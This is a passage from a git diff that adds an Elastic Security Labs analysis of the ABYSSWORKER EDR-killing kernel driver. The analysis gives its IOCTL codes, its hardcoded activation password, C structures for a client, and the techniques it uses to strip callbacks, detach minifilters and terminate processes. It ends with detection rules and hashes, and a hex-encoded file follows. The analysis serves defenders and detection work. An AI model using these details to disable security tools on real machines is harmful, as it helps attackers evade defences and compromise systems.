using likely stolen, revoked certificates from Chinese companies. These certificates are widely known and shared across different malware samples and campaigns but are not specific to this driver. The certificate fingerprints are listed below: + +| Fingerprint | Name | +| :---- | :---- | +| `51 68 1b 3c 9e 66 5d d0 b2 9e 25 71 46 d5 39 dc` | Foshan Gaoming Kedeyu Insulation Materials Co., Ltd | +| `7f 67 15 0f bb 0d 25 4e 47 42 84 c7 f7 81 9c 4f` | FEI XIAO | +| `72 88 1f 10 cd 24 8a 33 e6 12 43 a9 e1 50 ec 1d` | Fuzhou Dingxin Trade Co., Ltd. | +| `75 e8 e7 b9 04 3b 13 df 60 e7 64 99 66 30 21 c1` | Changsha Hengxiang Information Technology Co., Ltd | +| `03 93 47 e6 1d ec 6f 63 98 d4 d4 6b f7 32 65 6c` | Xinjiang Yishilian Network Technology Co., Ltd | +| `4e fa 7e 7b ba 65 ec 1a b7 74 f2 b3 13 57 d5 99` | Shenzhen Yundian Technology Co., Ltd | + +## Obfuscation + +ABYSSWORKER uses functions that always return the same value, relying on a combination of opaque predicates and other derivation functions. For example, the zero-returning function below always returns a `0` based on hardcoded derived values. + +![Zero-Returning function `0x3238`](/assets/images/abyssworker/image7.png) + +Below is one of the derivation functions: + +![Derivation function `0xF0B4`](/assets/images/abyssworker/image26.png) + +These constant-returning functions are called repeatedly throughout the binary to hinder static analysis. However, there are only three such functions, and they aren't used in any predicate but are simply called. We can easily identify them, making this an inefficient obfuscation scheme. + +![Example of constant-returning function calls `0x10D2`](/assets/images/abyssworker/image20.png) + +## Initialization + +Upon initialization, the driver begins by obtaining pointers to several kernel modules and its client protection feature, which will be discussed in the following sections. + +![Loading pointers on kernel modules `0x63E2`](/assets/images/abyssworker/image35.png) + +![Initializing client protection feature 0x65c3](/assets/images/abyssworker/image28.png) + +Then, it creates a device with the path `\\device\\czx9umpTReqbOOKF` and a symbolic link with the path `\\??\\fqg0Et4KlNt4s1JT`. + +![Creating device `0x2F45`](/assets/images/abyssworker/image11.png) + +![Creating symbolic link `0x2FDA`](/assets/images/abyssworker/image17.png) + +It completes initialization by registering callbacks for its major functions. + +![Registering driver major functions callbacks `0x3067`](/assets/images/abyssworker/image14.png) + +## Client protection on device opening + +When the driver device is opened, the `IRP_MJ_CREATE` major callback is called. This function is responsible for adding the process ID to the list of processes to protect and for stripping any pre-existing handles to the target process from the list of running processes. + +The function retrieves the process ID from the current kernel thread since the kernel callback is executed in the context of the client process when the device is opened. + +![Get client PID from current thread `0x138B`](/assets/images/abyssworker/image33.png) + +Before adding the process ID to the protection list, ABYSSWORKER searches for and strips any existing handles to the client process in other running processes. + +To achieve this, the malware iterates over existing processes by brute-forcing their Process IDs (PIDs) to avoid reliance on any API. For each process, it iterates over their handles, also using brute force, and checks if the underlying object corresponds to the client process. If a match is found, it strips the access rights using the value passed as a parameter (`0x8bb`). + +![ABYSSWORKER stripping existing handles to the client from other processes `0x9EDB`](/assets/images/abyssworker/image21.png) + +![ABYSSWORKER setting access rights of client handle if found in process `0xA691`](/assets/images/abyssworker/image4.png) + +Finally, it adds the PID to the global list of protected processes. + +![Client PID is added to the global protected processes list `0x9F43`](/assets/images/abyssworker/image22.png) + +As mentioned earlier, the driver sets up its protection feature during the initialization phase. This protection relies on registering two `pre-operation` callbacks using the `ObRegisterCallback` API: one to detect the opening of handles to its protected processes and another to detect the opening of handles to the threads of those protected processes. + +The two callbacks operate in the same way: they set the desired access for the handle to zero, effectively denying the creation of the handle. + +![Registration of callbacks to catch thread and process opening to protected client `0xA2B0`](/assets/images/abyssworker/image18.png) + +![Denying access to protected process handle `0xA0A6`](/assets/images/abyssworker/image10.png) + +## DeviceIoControl handlers + +Upon receiving a device I/O control request, ABYSSWORKER dispatches the request to handlers based on the I/O control code. These handlers cover a wide range of operations, from file manipulation to process and driver termination, providing a comprehensive toolset that can be used to terminate or permanently disable EDR systems. + +We detail the different IO controls in the table below: + +| Name | Code | +| :---- | :---- | +| Enable malware | `0x222080` | +| Copy file | `0x222184` | +| Remove callbacks and devices by module name | `0x222400` | +| Replace driver major functions by module name | `0x222404` | +| Kill system threads by module name | `0x222408` | +| Detach mini filter devices | `0x222440` | +| Delete file | `0x222180` | +| Disable malware | `0x222084` | +| Load api | `0x2220c0` | +| Decrease all drivers reference counter | `0x222100` | +| Decrease all devices reference counter | `0x222104` | +| Terminate process | `0x222144` | +| Terminate thread | `0x222140` | +| Removing hooks from Ntfs and Pnp drivers' major functions | `0x222444` | +| Reboot | `0x222664` | + +### Enabling the malware (0x222080) + +As discussed in this [blog post](https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c/), the client must enable the driver by sending a password (`7N6bCAoECbItsUR5-h4Rp2nkQxybfKb0F-wgbJGHGh20pWUuN1-ZxfXdiOYps6HTp0X`) to the driver, in our case it’s through the `0x222080` IO control. + +The handler simply compares the user input with the hardcoded password. If correct, it sets a global flag to true (1). This flag is checked in all other handlers to permit or deny execution. + +![Hardcoded password `0x12000`](/assets/images/abyssworker/image1.png) + +![Enabling malware if the password is correct `0x184B`](/assets/images/abyssworker/image3.png) + +### Loading the API (0x2220c0) + +Most handlers in the malware rely on kernel APIs that must be loaded using this handler. This handler loads these globals along with several structures, using the kernel module pointers previously loaded during initialization. Once the loading is complete, a global flag is set to signal the availability of these APIs. + +![Set the global flag to `1` once the API is loaded `0x1c28`](/assets/images/abyssworker/image29.png) + +This handler has two modes of operation: a full mode and a partial mode. In full mode, it loads the APIs using a mapping structure of function names and RVA provided by the user as input to the IO control. In partial mode, it searches for some of the APIs on its own but does not load all the APIs that are loaded in full mode, hence the term partial mode. If the user opts for partial mode due to the inability to provide this mapping structure, some handlers will not execute. In this chapter, we only cover the full mode of operation. + +We detail the structures used below: + +```c +#define AM_NAME_LENGTH 256 +typedef struct _struct_435 +{ + uint64_t rva; + char name[AM_NAME_LENGTH]; +} struct_435_t; + +#define AM_ARRAY_LENGTH 1024 +typedef struct _struct_433 +{ + struct_435_t array[AM_ARRAY_LENGTH]; + uint32_t length; +} struct_433_t; +``` + +We provide a short example of usage below: + +```c +struct_433_t api_mapping = { + .length = 25, + .array = { + [0] = {.rva = 0xcec620, .name = "PspLoadImageNotifyRoutine"}, + [1] = {.rva = 0xcec220, .name = "PspCreateThreadNotifyRoutine"}, + [2] = {.rva = 0xcec420, .name = "PspCreateProcessNotifyRoutine"}, + // (...) + [24] = {.rva = 0x250060, .name = "NtfsFsdShutdown"}, +}}; + +uint32_t malware_load_api(HANDLE device) +{ + return send_ioctrl(device, IOCTRL_LOAD_API, &api_mapping, sizeof(struct_433_t), NULL, 0); +} +``` + +To load its API, the function starts by loading three 'callback lists' from different kernel object types. These are used by the handler that removes registered notification callbacks belonging to a specific module. + +![ABYSSWORKER getting callback list from kernel’s _OBJECT_TYPEs `0x5502`](/assets/images/abyssworker/image23.png) + +Then, it loads pointers to functions by using the provided structure, simply by searching for the function name and adding the associated RVA to the module's base address. + +![Get function RVA from structure `0x5896`](/assets/images/abyssworker/image9.png) + +![Search RVA associated with function name in structure `0x3540`](/assets/images/abyssworker/image6.png) + +This is done for the following 25 functions: + +* `PspLoadImageNotifyRoutine` +* `PspCreateThreadNotifyRoutine` +* `PspCreateProcessNotifyRoutine` +* `CallbackListHead` +* `PspSetCreateProcessNotifyRoutine` +* `PspTerminateThreadByPointer` +* `PsTerminateProcess` +* `IopInvalidDeviceRequest` +* `ClassGlobalDispatch` +* `NtfsFsdRead` +* `NtfsFsdWrite` +* `NtfsFsdLockControl` +* `NtfsFsdDirectoryControl` +* `NtfsFsdClose` +* `NtfsFsdCleanup` +* `NtfsFsdCreate` +* `NtfsFsdDispatchWait` +* `NtfsFsdDispatchSwitch` +* `NtfsFsdDispatch` +* `NtfsFsdFlushBuffers` +* `NtfsFsdDeviceControl` +* `NtfsFsdFileSystemControl` +* `NtfsFsdSetInformation` +* `NtfsFsdPnp` +* `NtfsFsdShutdown` + +### File copy and deletion (0x222184, 0x222180) + +To copy or delete files, ABYSSWORKER relies on a strategy that, although not new, remains interesting. Instead of using a common API like `NtCreateFile`, an I/O Request Packet (IRP) is created from scratch and sent directly to the corresponding drive device containing the target file. + +#### Creating a file + +The file creation function is used to showcase how this mechanism works. The function starts by obtaining the drive device from the file path. Then, a new file object is created and linked to the target drive device, ensuring that the new object is properly linked to the drive. + +![Building a new file object `0x7A14`](/assets/images/abyssworker/image15.png) + +Then, it creates a new IRP object and sets all the necessary data to perform the file creation operation. The major function targeted by this IRP is specified in the `MajorFunction` property, which, in this case, is set to `IRP_MJ_CREATE`, as expected for file creation. + +![Building new IRP `0x7C68`](/assets/images/abyssworker/image16.png) + +Then, the malware sends the IRP to the target drive device. While it could have used the `IoCallDriver` API to do so, it instead sends the IRP manually by calling the corresponding device's major function. + +![Sending IRP to device `0x9B14`](/assets/images/abyssworker/image15.png) + +At this point, the file object is valid for further use. The handler finishes its work by incrementing the reference counter of the file object and assigning it to its output parameter for later use. + +#### Copying a file + +To copy a file, ABYSSWORKER opens both the source and destination files, then reads (`IRP_MJ_READ`) from the source and writes (`IRP_MJ_WRITE`) to the destination. + +![Copying file using IRPs `0x4BA8`](/assets/images/abyssworker/image40.png) + +![Reading and writing files using IRPs `0x66D9`](/assets/images/abyssworker/image31.png) + +#### Deleting a file + +The deletion handler sets the file attribute to `ATTRIBUTE_NORMAL` to unprotect any read-only file and sets the file disposition to delete (`disposition_info.DeleteFile = 1`) to remove the file using the `IRP_MJ_SET_INFORMATION` IRP. + +![Setting file attribute to normal and deleting it `0x4FB6`](/assets/images/abyssworker/image30.png) + +![Building IRP_MJ_SET_INFORMATION IRP to delete file `0x67B4`](/assets/images/abyssworker/image24.png) + +### Notification callbacks removal by module name (0x222400) + +Malware clients can use this handler to blind EDR products and their visibility. It searches for and removes all registered notification callbacks. The targeted callbacks are those registered with the following APIs: + +- `PsSetCreateProcessNotifyRoutine` +- `PsSetLoadImageNotifyRoutine` +- `PsSetCreateThreadNotifyRoutine` +- `ObRegisterCallbacks` +- `CmRegisterCallback` + +Additionally, it removes callbacks registered through a MiniFilter driver and, optionally, removes devices belonging to a specific module. + +![Deleting notifications callbacks and devices `0x263D`](/assets/images/abyssworker/image34.png) + +To delete those notification callbacks, the handler locates them using various methods, such as the three global callback lists previously loaded in the loading API handler, which contain callbacks registered with `ObRegisterCallbacks` and `CmRegisterCallback`. It then deletes them using the corresponding APIs, like `ObUnRegisterCallbacks` and `CmUnRegisterCallbacks`. + +Blinding EDR using these methods deserves a whole blog post of its own. To keep this post concise, we won’t provide more details here, but we invite the reader to explore these methods in two well-documented projects that implement these techniques: + +- [EDRSandblast](https://github.com/wavestone-cdt/EDRSandblast/tree/master) +- [RealBlindingEDR](https://github.com/myzxcg/RealBlindingEDR) + +### Replace driver major functions by module name `0x222404` + +Another way to interfere with a driver is by using this handler to replace all its major functions with a dummy function, thus disabling any interaction with the driver, given a target module name. + +To achieve this, ABYSSWORKER iterates through the driver objects in the `Driver` and `Filesystem` object directories. For each driver object, it compares the underlying module name to the target module, and if they match, it replaces all of its major functions with `IopInvalidDeviceRequest`. + +![Replacing targeted driver major functions with dummy functions `0x9434`](/assets/images/abyssworker/image36.png) + +### Detach mini filter devices (0x222440) + +This handler iterates over all driver objects found in the `Driver` and `FileSystem` object directories. For each driver, it explores its device tree and detaches all devices associated with the mini filter driver: `FltMgr.sys`. + +![Searching object directories for ```FltMgr.sys``` driver to delete its devices `0xE1D8`](/assets/images/abyssworker/image39.png) + +The function works by iterating over the devices of the driver through the `AttachedDevice` and `NextDevice` pointers, retrieving the module name of each device's associated driver, and comparing it to the target module name passed as a parameter (`”FltMgr.sys”`). If the names match, it uses the `IoDetachDevice` function to unlink the device. + +![Iterating and detaching all devices by module name `0xB9E`](/assets/images/abyssworker/image32.png) + +### Kill system threads by module name (0x222408) + +This handler iterates over threads by brute-forcing their thread IDs and kills them if the thread is a system thread and its start address belongs to the targeted module. + +![Brute-forcing threads to find and terminate targeted module system threads `0xECE6`](/assets/images/abyssworker/image8.png) + +To terminate the thread, the malware queues an APC (asynchronous procedure call) to execute code in the context of the targeted thread. Once executed, this code will, in turn, call `PsTerminateSystemThread`. + +![ABYSSWORKER queuing APC to terminate target thread `0x10A6`](/assets/images/abyssworker/image27.png) + +### Terminate process and terminate thread (0x222144, 0x222140) + +With these two handlers you can terminate any process or a thread by their PID or Thread ID (TID) using `PsTerminateProcess` and `PsTerminateThread`. + +![Terminating process by PID `0x2081`](/assets/images/abyssworker/image37.png) + +![Terminating thread by TID `0x1F07`](/assets/images/abyssworker/image13.png) + +### Removing hooks from Ntfs and Pnp drivers' major functions (0x222444) + +On top of registering notification callbacks, some EDRs like to hook major functions of the `NTFS` and `PNP` drivers. To remove those hooks, the malware can call this driver to restore the original major functions of those drivers. + +![Restoring hooked NTFS and PNP driver major functions `0x2D32`](/assets/images/abyssworker/image25.png) + +ABYSSWORKER simply iterates over each registered major function, checks if the function belongs to the driver module, and if not, it means the function has been hooked, so it replaces it with the original functions. + +![Restoring major function if hooked `0x43AD`](/assets/images/abyssworker/image38.png) + +### Reboot `0x222664` + +To reboot the machine, this handler uses the undocumented function `HalReturnToFirmware`. + +![ABYSSWORKER reboot the machine from the kernel `0x2DC0`](/assets/images/abyssworker/image19.png) + +# Client implementation example + +In this blog post, we provide a small client implementation example. This example works with the reference sample and was used to debug it, but doesn’t implement all the IOCTRLs for the driver and is unlikely to be updated in the future. + +However, it contains all the functions to enable it and load its API, so we hope that any motivated reader, with the help of the information in this article, will be able to extend it and further experiment with this malware. + +![Client example output](/assets/images/abyssworker/image2.png) + +The repository of the project is available [here](https://github.com/elastic/labs-releases/tree/main/tools/abyssworker/client). + +# Malware and MITRE ATT&CK + +Elastic uses the [MITRE ATT&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that threats use against enterprise networks. + +## Tactics + +- [Defense Evasion](https://attack.mitre.org/tactics/TA0005) + +## Techniques + +Techniques represent how an adversary achieves a tactical goal by performing an action. + +- [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) +- [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) +- [Code Signing](https://attack.mitre.org/techniques/T1553/002) + +# Mitigations + +## YARA + +Elastic Security has created the following YARA rules related to this post: + +- [https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows\_Rootkit\_AbyssWorker.yar](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Rootkit_AbyssWorker.yar) + +# Observations + +The following observables were discussed in this research: + +| Observable | Type | Reference | Date | +| :---- | :---- | :---- | :---- | +| `6a2a0f9c56ee9bf7b62e1d4e1929d13046cd78a93d8c607fe4728cc5b1e8d050` | SHA256 | ABYSSWORKER reference sample | VT first seen: 2025-01-22 | +| `b7703a59c39a0d2f7ef6422945aaeaaf061431af0533557246397551b8eed505` | SHA256 | ABYSSWORKER sample | VT first seen: 2025-01-27 | + +# References + +- Google Cloud Mandiant, Mandiant Intelligence. I Solemnly Swear My Driver Is Up to No Good: Hunting for Attestation Signed Malware\. [https://cloud.google.com/blog/topics/threat-intelligence/hunting-attestation-signed-malware/](https://cloud.google.com/blog/topics/threat-intelligence/hunting-attestation-signed-malware/) +- Unit42, Jerome Tujague, Daniel Bunce. Crypted Hearts: Exposing the HeartCrypt Packer-as-a-Service Operation, December 13, 2024\. [https://unit42.paloaltonetworks.com/packer-as-a-service-heartcrypt-malware/](https://unit42.paloaltonetworks.com/packer-as-a-service-heartcrypt-malware/) +- ConnectWise, Blake Eakin. "Attackers Leveraging Microsoft Teams Defaults and Quick Assist for Social Engineering Attacks", January 31 2025\. [https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c/](https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c/) +- wavestone-cdt, Aug 30, 2024\. [https://github.com/wavestone-cdt/EDRSandblast/tree/master](https://github.com/wavestone-cdt/EDRSandblast/tree/master) +- myzxcg, May 24, 2024\. [https://github.com/myzxcg/RealBlindingEDR](https://github.com/myzxcg/RealBlindingEDR) diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/approaching_the_summit_on_persistence.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/approaching_the_summit_on_persistence.encoded.md new file mode 100644 index 0000000000000..12adcefde53c9 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/approaching_the_summit_on_persistence.encoded.md @@ -0,0 +1 @@ +7825073da3a6101f40c0c7b44597cb8998e8f864e8275fe7f9899cda61b93df07a20e3237aa5c785c4b3886f40df02d6d2fe4dedf7a852b1ac7b0a3021b9972561a09e0d796759ae8ccdcefd9cb676823796b95d86c60506e55fe9b95c58b3fb1977f6b8c98eb6b5346a8cdadea4a2b89b1da59eb382d6a7b987f252d71ec4e20abf550933cee1281e906e1ddf6f8b5dcd3cd6c6885ddb9087ef3e965a735c6c344ceb3fdd390ae82ab5ce498fa41598dd765e26b5918e58b1bb01ffe3b54ac3e0ebd5ce6c31e360947aa6e8c79d68b2debe09aebb0b75284e3e737f8250e951b1ddc567b94d013b8f4b7cd35b562db1e2d26ca5e8d99fc0aad7e17ed53930c49c5b340f7507708e5426a7e1314d1a1691053988e82ac121b6e5103493bb144c0f5b1db783b5a2c7aa7ccbc1378a6b8043503305c363493f33ff3f4a54c6ae73dc1271830bafbad2cc981d057804c443c5010539cf4ee98718c22ff1cdae5a46e582639879429272d97c5d378e204dba3655b3a8c0dc02240aa7466976f558fa41a38682812f03493925292529553aff9ef39261c555b03e87d80b3832cf97fcaa99e7178260a53d5326c274d5455a9a8ede419387e050f0c512e3f21c0d47409d54297ddc3323325874a33553a1997ece224c67de11156cd04c748e3f9dfea666f781c44252d6b3fa739bce672f7d9f3ce7676ec653039d76a124af47034ba70af370d55aa2c8d0547ea20589048901d79fa86b20014eed310960bcee61ab38a15c8d6986df9a640d803ae86be057cf5bd37b6333909459b8a3dc977bdbefe685434a06f35c78d77e03ae0dfcdbd855c567b24485d5ad0f8c9f1aca6789939d4323193df2310abb76afcf26006b9f34e64066d83b94249188cf67011563eb6bda2b0588fb1708ccdc624b88cc988bb3fb36349b717a7e23cb6aedd475d532fd241afc405c4a427ff136d61cc0bd9d4e1892f279a8f154545d6bf84c4397c6db0a03555f0f69e91e2c190eedc7233faaf51889d97ab9c77187fb1e5f4710371b1f3e7bd2f7aa56634c603ffe67aab25d65395edfcd0fddcdd942d6305e070a57dc68832392bda7d76cea57aeb93424ac25859521fdb78b6efc9be490788dd43e3019da22fa230801166451496c3404be2119cc9f41c7a9b10bc3db35835237a6e0f3183279724fb96beced824d1ddd064954792e5eb779f8d2433e899bc086e87f301a1a3f8b1a6fde600ba0f0540af8362bd720ee8d279ca06a372dd3cbd6d16a7c34bf31a393b6d7ce52412c56bbf75b2c12563b6bc8efaa340d3d720bd394e857a34f2d6eb7f8cc95b4bcacdf5e107ee1be012fc58c2bb0d932649505cec7bacb6722048cf39e0e3b1e22c848c32bf32746e76ef297800f4c28e9cbf05a916f94a1b6f8c6e5b43b2dcf85d4df69ee385c5f2c16178c558277e9d584299772d42185c1626bd5730f9cdf3484e4386e3eb9fa45d73709726402c611ee591b625b2c12563b6bc8efaa340d3d720bd394e857a34f2d6eb7f8cc95b4bcacdf5e10eb14aa9908305f02c0f4c9d211b22a6cbacb6722048cf39e0e3b1e22c848c32bf32746e76ef297800f4c28e9cbf05a916f94a1b6f8c6e5b43b2dcf85d4df69eeb5fa8b67c542dc99f172202a45cff4994ba0f846c0e416a4d5837fbab8b68f133eb9fa45d73709726402c611ee591b625b2c12563b6bc8efaa340d3d720bd394e857a34f2d6eb7f8cc95b4bcacdf5e100d233141424baf908104a38524ff11cfbf2ac5fc7e13e353f992bbc1d0959436ff0067616f534212f30b4c32b378cb42f37cfa24e2c1827677e0938af9c23a155b8f6b08884738ad95803cc0d29c84131733ff4f73c61b93c28372e91669d133df719721a3c7d488e55195d1d8f314f092e21dd8b14556f57d36f5b2d705bcf490f91b74f301c1e555939ccb3a17f42bd9b2ad2f3ff8c9fb5f5d4ef31f1c193d9393222f734eb80a9ab17c72ba5786c98d1c535d47228a1f787f9dacc18568cd7679fbebdeda2bdba0327f520d25ff516aa85aba7dc8716a91e95212a35bae303199ba5d75f4fa60d6af406d8b6ea4f6546767b6966098884d6bba06d8e7bfc3916258feb9010f0d92b8dda074bd637658dba14dd64dbce4ffc2099630e205bfb91d00f08306da9d02839a254f0ab0e4818ff61534d5f808be654ed8e922c4658634e7a5e3729ad7a92bd89c4a735f98303cab708be4c33465cb2e98770555e7447caa3c72b8c9223d430248ccfff3e8cddaa49b0553b6c0eda49ef9aecd2211184adb47c51ed8045828ca0c71967abbc93777ed3a6972904bcd4b946db6c90d51e0a329485006bdbab0de154134813a6f6304180c47fad8608a98c01f86eb7e61b5335e1ef3e520d6c1000617bf4dc68ba4ee8da686d35b1693a639a1acfd6eee40b1ed29f480a08f697c19f77027f75b3126ba12042faae866c4a69896981416a39dc18a892fa087e948ebd83bb31b7f1abe442f35f64b649ac39a0bbfb737c3f23466985d890c57504a5f8a084112f4023c4f3f48f66b260e413569711756efa97e1ae3f93c1ab94ed253e947f620d08e9921804440edac1fae44d681273209575e2a6e0f06fc511f69316bb083caca1a82842575ad190f97d72ee8fcf74d738dbdec0be535de8cd84304727635d26cc43885d141fcadae980ebbbe6da444cdb18289c39ce9294bb6bf942e1cf6d4bf0353ef1221112e7abb1a203febc8a22446ab623167aa275b33eaba4df5e03988797a5f657a6b4a7fb4f862cfe4e8371bf02259a886bd44098cc5c7d632552b96115d36382aee829015fde330c4a426fddc931332d3db4a8fcf721b0b0c8dea2af15406e2eb39c32910ce05b958deb6393451e3651854368a696f50a47c35e1c0197956a68f82dab885fbcfbdc30e2438543ceeaaf18f56222bbc20a9218804a57a5be40ded03e3f6d2597f52c473346b3fc6c51bd8b1bd1ec815d5378077c278047343371429699677f115f33263c191304009702225137d2d771fdeea91f2616d9c5ffdca744199d3b07e82146ab1328adcc946e4f05cbfacf76a43a38e99d0ef5ac2ed9e0d21b23265a0f98b32773cd73b9797b30150e2526520e2669244d656f275bdc7469caa0ceee1309f348019b37d194b919a1d1cab586bf4cd2f978d167d54b0a39dba97d43c2b8b1b0ff2a605e9eb429c1378d7c1075750e2680324e3c37a6a1f06d33d31f2a6d572104cd9d8dee149b4c1d00a663560009470f57ebaab049d80bc3f4ad0778685fbc22535a7ba4fb9c00bb8603f13667d259c736a54248041a49b3459a30b1222090a076df6b37e8977012d377d5263b383f6b31df4510000dc1871367b58a5959ca81dcc912d8ef3fcd6d0543452b77fac8177bdb8645bc325a59cb300089a92f8ce30f62071415f146e1f814fa75f3c781054e6a4ad215251fd9088d9243bea90e9d376568cc6b0f38087ba41fd33e7a079984d01937f824ef66fdc36b3c125c0f749192282b65f43b19e3f40380b8fd6608a0a00c7477d953f6e4a145339fb96dde709178a0701fe07b2e5d4b93e9bc84d9d3951d766aec40a015246d1bc1f2af880323db05ae406110e996b6a21e878b9884a787e31f7caa9e7f493aa6b670178ad74cade74fc4e2996c5e40198893eaf5724e56e0ea4077d2bc27a0d3d15bd1e2965d28d2b0d2a9a94eae65dcd54ff16455619a2ef701b514326ac01327ba9bc5c9f3ba8b721980213e8fd00e01f5b35e8bd264d0f6fbd348f35527cc88377ab7ae0e4846fc09e59baa905224e6073d509cdb961d8897954e2ce349118be5f891fab481fe98c03cdd8d09cba60138f56b6ef097c429a9b74f88bf50ea2e99b487554ff7e0296ab9abefd3dbbfbede55e280cabea59437c6b6d2ddf312025c13f18454b14d8cd5c07434b3f74eb9b30f6f8d9ed7fa53a820039ea9ee9ceb30c5ef3206df229b32da609d6984c17d493c8510d12ac9c312c189392ea7f58d1837640ed0901e68b68d454402efc11364e2705730dc79c7ca08bbdffad1e6d6001ef8295c16d55efd91c16dc6a5dea265aba7b8c7c3b08467a3e96ee35df1c699b0943a26a18abbf85bcc1090d3d21a8a4ab96040c5054921023a485bf68a6a9fc3f302ce9e219bb9dbb272517332c9c3a4b5c88657f4101861261bbffd5f4765c349414806a40b18dde37a71265720512bcf34988320d0fac9f8cb09eb7746b8f8cc8e1d57e1af240b5b90fa3c127d085f679202900f444c5362220537b7b884c77eac2027dd5542ad09181f5e11056a9e0260fd8334fcd7e6a74bffae735ec1c1c51d939b9c01cfe1b52e0f2d3ccf85242d53da7bfb3b4a51119b999d483254c55f93a5b8e9b4c8d3650a651e42e9962011f1def7ae006ecf032304d6ea95029715c16c8a961bc315b9f31f8d9733611eff381206d2ea5206e8549a3fd96f1da8f69248b0577f49e81073af237c9787f8850b06ca0bfc356ecee66ad05c2f7158a93d8042f4aac7c5408f5b86bc398582e9bad33135e053135bbd0a4ee963564bf0dde6ff80a987a452ba26b87a55a82bbfe06c6f1d65f33b881305b506c68014d08599fc73e7c29639235b9001f87c593d5a0075c5047198ee8f4df2e0aa7e2648dbefc3b3082ded20a6c8b5858aa5443730aeef4b1c757fbcd15182b8c3a2bf9c282d4aae72611716de2d58ef373504b0e3dbaf8cb474c244b1fb57322be341a1de340c91a3d5d5280871bb274c87d5a42a7d9f79a796fb45e7e776ff2dbaebdaf0cc9e911180696c7c11c0b265886430b361f481524f71711dd3c803142ed04343f0670569268e63c26141f1ee5a2be315c280bf824ddf345b588c3e86afa28f5dec87c8622481dcc20cbd2c2167a5634c7cbde85c75d13f68c9e4d1de9709dff7c556307df56cb91e0ac1214a24f3e92ce5071344d2c15fd2d4925c3cb375a17a64b6d866fa9fad54093033c744777a4ed97838b4977b7049347d281d2e776b9574dfde1ada0a7254f358986c87754cdfbe6c5159e7d713e2801d8e892bc0b272edeafe351150873ce9eaa799b0b85ea0d9f1890582ffda6138a01029adb8b5eb7d8323195b236d557c93acba8429aefa72e48b98450eb433635b3da25aeb7f9090458cd59bd565fef9aa87e29230a5b96bea304be3f272eeca8e1d7388b37cb78d2f28752314c747f0b19dbf1d2de709a6fdee02484bcfb7962b73b1c4c6cda1d8dc4d7d9814f9b2c2df472111e7c50235f39c82008f13cf471ab463b48ebfe141abd074134ce6ece6ad95746d7fc0323e9d17350df4c3734f920a41073f7f383165fad9da9377a88ba90dbbd44b900f05891ba5242740b3612ed1d969803937800e131e7a67c94abc4aa35b288e9264ec7f98372cb86d5fce31e87a8e175b5bce79c0ec4019ca5e500b2505e94a94f516512da36b7cc697b9c62fdad2fd69ff809e1f6c207bed01533de48502fda27cdd082660d62fb5a0b83714543fde9a024a605481cada789f2da7025b5a0e24304129c9c459dc32dbec0bb5905b0a15b04c28fc4f07d916d20e0688b72398558accb9088d147597aefa4753f395205bca4fa49c9a8aa0c64f85870fb880f2a008104a2fcc3cea666cb25068c291d52501223383165413c8e4d6f9d87adb83b302091521d0dee632a3bc34805e95e8277c3eef16800eaadadc4886203c57fa7bc802c58f416fdea960f9649db62e5a463f14f8a6344d3e29d6b6d7f2a5cdc4e0cd93e6f91414217378ae3d96454590d8a0d9deac96a7c4409b91f58400cff23ef62d38ca3cc4c98b8efd42ef12fb6a9f266207723da4a2484e59a8d883ad47465857d90113819d948ad1a12e41fb7a3c451634167f2a95b6b6a53dee3725d4b8f453bd7fb7693a010b2452206ba27b626626a73050d12268c32cf43115584423db208f68044dd1dee5a7be856244b41e25de3ab35182550ef49b6a25ffe2a09a8309a20b00f2f7109f36b628dacd47a95167c28bcd22224c405bf53770802b2c031ec5df57f14b241f17d831aed5ed1b535908985ecd7fbe25d2236e31bf2e527a467b2007bcd6c5121988ae3c0824d3187a1bbe6a526f737fd8bdb9aafa0823a087aa1e6f56aff07d1851a224b364eb1381033d3f3ad6ed3c1a7a6d6e36e89a34f25c5e48c0bd111b4373a93230468c531571b0277d8255f667e298bf74d1a2b5e64d01674f4643ae871e0e382912d9999bc4b5438779383fad4bcec08ea4d73ad7b3757ef1fd2a5c9b2ef46f9a6905a4bcbc81800bccbc128c079d943d25c94b241892b79b0cb8aa9ea61870b42a60f468c4b82c9b2b631603699f54bcf1b8ddfc45539fee71b3fa95f7172ff41facd8828676ccca158ef1db75901ddba2296d1b5be4479218bf914bdd03481bd5d7d3b9f70d9dd0d0af525b9a1daade8ad2a4bc393ca55aa85ce7882f8411fdfb7d09a9bd53ef3cc5054f72497fb12130342e60478c951b0c73316d67d27e7d9fea3ebd69d542b60ce18f3e169e5072456b9330633846fd9a28049c7f85e5c46744ad09597e9e011fc671061305ded09a75c2fa10e4839cea3d93a243e7fcc99587c149b154e6b5b0b674917fcddfb4dd6cc85a5ca98411d0726fc328693c83ea2dd5d54928c8f4c4f753ff15cf6fe5e0e0a1777fa76d95ce44769960df8c04731a377b81c74d39d50e5eae81edaab248c36a6214c120df0601b97934d557da8faa2cf64328924bba4fa2995802199619e2f05f108cd47c1db5447bf09720fdf31d6551a2598cc082045cc3d50362b0be147f2a4df778931755a8dc399ac771b43a8e270e0c480792aa156bfffce6c8beae2535913739da04c94d241e48ee691e8fb83fab74e03abb4281a541f169d78e2b1ca0e8684115debbba7b425487c726758a46785085c58ee679cdb0b9734a6d31dcca0b9d5f26d9bc299f9370ea6d811b83f184dab4ec315c7c63f47d461de580d7b0fcfba246bbd2d06215b4b00afe8ce4155d5316719df478982791548ff1776d04a196bba64a6b097a0cb1b57366db635b40a8b949f44fab88c64ce683c85e44c8bb645e41471007a09a984b7f12ffca62d5321be129efebd27cee00dfca7083d0b7e55dc1b74946e7b07b8f30b57d3b88bc0f7858756fcc1a02a27ab2ef35041aba25f863ab200bcaf7ae0ffa639d0ac5a19b721c936f1b0a9e8c60194ad7418e2c36bb3e7e450437b4860654b78c93b7313f0f5513dcc788fc8996cc4334db580fe0b9ddb2d0b08164367fffc5113a6356e1e70b078d4